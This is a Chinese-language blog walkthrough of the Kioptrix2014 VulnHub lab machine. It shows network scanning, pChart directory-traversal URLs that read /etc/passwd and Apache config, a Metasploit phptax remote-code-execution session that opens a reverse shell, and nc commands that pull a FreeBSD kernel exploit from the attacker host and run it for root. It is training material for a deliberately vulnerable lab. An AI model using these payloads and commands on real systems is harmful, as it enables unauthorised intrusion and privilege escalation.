0%

vulnhub靶机练习之Kioptrix2014

探测靶机

修改vmdx文件,将ethernet0.connectionType = "bridged"改为ethernet0.connectionType = "nat"
image.png
改了网卡连接模式之后,居然还是探测不到这个靶机的IP。

在网上找了很久,终于找到一个有效方法。在打开靶机之前,删除网卡,重新添加网卡。
image.png
image.png
官方文档也说了这个靶机使用之前要删除网卡重新添加网卡😥😥😥
image.png
我们使用sudo arp-scan -l扫描得到靶机IP:192.168.80.20。

1
2
3
4
5
6
7
8
9
10
11
12
kali@kali:~$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b2:07:af, IPv4: 192.168.80.14
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.80.1 00:50:56:c0:00:08 VMware, Inc.
192.168.80.2 00:50:56:fc:96:a7 VMware, Inc.
192.168.80.17 00:0c:29:fe:3a:82 VMware, Inc.
192.168.80.20 00:0c:29:c1:0a:95 VMware, Inc.
192.168.80.254 00:50:56:f8:e1:4e VMware, Inc.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.436 seconds (105.09 hosts/sec). 5 responded

使用nmap扫描

输入命令(sudo nmap -A -T5 -sS 192.168.80.20)扫描,发现靶机开启的服务端口有:22(ssh端口)、80(http端口)、8080(http端口)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
kali@kali:~$ sudo nmap -A -T5 -sS 192.168.80.20
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 04:32 EST
Nmap scan report for 192.168.80.20
Host is up (0.0033s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:C1:0A:95 (VMware)
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): FreeBSD 9.X|10.X|7.X|8.X|6.X (93%), AVtech embedded (91%), Linux 2.6.X (90%)
OS CPE: cpe:/o:freebsd:freebsd:9 cpe:/o:freebsd:freebsd:10 cpe:/o:linux:linux_kernel:2.6 cpe:/o:freebsd:freebsd:7 cpe:/o:freebsd:freebsd:8 cpe:/o:freebsd:freebsd:6.2 cpe:/a:nas4free:nas4free cpe:/o:freebsd:freebsd:10.2
Aggressive OS guesses: FreeBSD 9.0-RELEASE - 10.3-RELEASE (93%), FreeBSD 9.3-RELEASE (91%), AVtech Room Alert 26W environmental monitor (91%), Linux 2.6.18 - 2.6.22 (90%), FreeBSD 9.0-RELEASE (90%), FreeBSD 7.0-RELEASE - 9.0-RELEASE (88%), FreeBSD 7.0-RELEASE (87%), FreeBSD 7.1-PRERELEASE 7.2-STABLE (87%), FreeBSD 7.2-RELEASE - 8.0-RELEASE (87%), FreeBSD 9.1-RELEASE or 10.1-RELEASE (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 3.33 ms 192.168.80.20

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.65 seconds

80端口进入网站页面

浏览器输入url:192.168.80.20,可以打开页面,看到页面内容只有”It works”。
image.png
查看网页源代码,发现注释内容包含了网站的url地址:pChart2.1.3/index.php。
image.png
我们访问这个url地址:http://192.168.80.20/pChart2.1.3/examples/index.php
image.png
我们查找pChart2.1.3的漏洞信息,发现它存在目录穿越漏洞。
扫盲:pChart是什么?

pChart是一个开源的图表生成库,主要有3个Class:pChart.class、 pData.class、pCache.class,可生成20多种简单或复杂的图表,支持PNG、JPG、GIF通用图片格式。数据源可以来自于Database、CSV等。使用pChart需要开启PHP的GD服务

目录穿越漏洞利用

输入url:http://192.168.80.20/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
image.png
输入url:http://192.168.80.20/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf
查看http服务的配置文件,发现8080端口的服务只能使用Mozilla4浏览器访问。
image.png
于是我们使用浏览器插件User-Agent Switcher and Manager设置浏览器的UA为Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0),就可以访问到192.168.80.20:8080的网页了。
image.png
image.png
image.png

phptax漏洞利用

  • 利用metasploit的msfconsole进入www的shell
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    msf5 exploit(multi/http/phptax_exec) > search phptax

    Matching Modules
    ================

    # Name Disclosure Date Rank Check Description
    - ---- --------------- ---- ----- -----------
    0 exploit/multi/http/phptax_exec 2012-10-08 excellent Yes PhpTax pfilez Parameter Exec Remote Code Injection


    msf5 exploit(multi/http/phptax_exec) > use exploit/multi/http/phptax_exec
    msf5 exploit(multi/http/phptax_exec) > set rhost 192.168.80.20
    rhost => 192.168.80.20
    msf5 exploit(multi/http/phptax_exec) > set rport 8080
    rport => 8080
    msf5 exploit(multi/http/phptax_exec) > exploit

    [*] Started reverse TCP double handler on 192.168.80.14:4444
    [*] 192.168.80.208080 - Sending request...
    [*] Accepted the first client connection...
    [*] Accepted the second client connection...
    [*] Accepted the first client connection...
    [*] Accepted the second client connection...
    [*] Command: echo 0IWlXDD6mroOHlbm;
    [*] Writing to socket A
    [*] Writing to socket B
    [*] Reading from sockets...
    [*] Reading from socket A
    [*] A: "Connected: not found\r\nEscape: not found\r\n0IWlXDD6mroOHlbm\r\n"
    [*] Command: echo YmB6B5cAUuGNENTP;
    [*] Writing to socket A
    [*] Writing to socket B
    [*] Reading from sockets...
    [*] Reading from socket A
    [*] A: "Connected: not found\r\nEscape: not found\r\nYmB6B5cAUuGNENTP\r\n"
    [*] Matching...
    [*] B is input...
    [*] Matching...
    [*] B is input...
    [*] Command shell session 14 opened (192.168.80.14:4444 -> 192.168.80.20:56563) at 2020-02-28 09:17:27 -0500

    whoami
    www
    uname -a
    FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
  • 提权root
    我们根据uname -a的结果,查找到FreeBSD 9.0存在内核漏洞,在网上找到exp脚本,并执行exp利用漏洞。
    • 攻击机
      下载exp到本地,将exp脚本命名为vvv.c
      1
      2
      kali@kali:~$ wget https://www.exploit-db.com/download/28718
      kali@kali:~$ mv 28718 vvv.c
      监听端口6666:
      kali@kali:~$ nc -lvp 6666 < vvv.c
    • 靶机
      利用刚刚www的shell,通过6666端口从攻击机下载exp到本地,并执行exp脚本。(注意:nc -nv 192.168.80.14 6666 -w 5 > vvv.c中的w是设置超时时间,-w 5意思就是超时时间设置为5秒。设置超时时间是为了确保从攻击机成功下载exp。)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      nc -nv 192.168.80.14 6666 -w 5 > vvv.c
      Connection to 192.168.80.14 6666 port [tcp/*] succeeded!
      gcc vvv.c
      vvv.c:178:2: warning: no newline at end of file
      ./a.out
      [+] SYSRET FUCKUP!!
      [+] Start Engine...
      [+] Crotz...
      [+] Crotz...
      [+] Crotz...
      [+] Woohoo!!!
      whoami
      root

总结

主要学习了靶机从攻击机下载exp脚本的方法,以及目录穿越漏洞的利用方式。对于插件版本、内核版本要格外留意,在网上查找对应版本是否存在漏洞可利用。nc命令要熟练运用,这个命令常用于反弹shell。

参考博文

https://kongwenbin.wordpress.com/2016/11/02/writeup-for-kioptrix-2014-5/

-------------本文结束感谢您的阅读-------------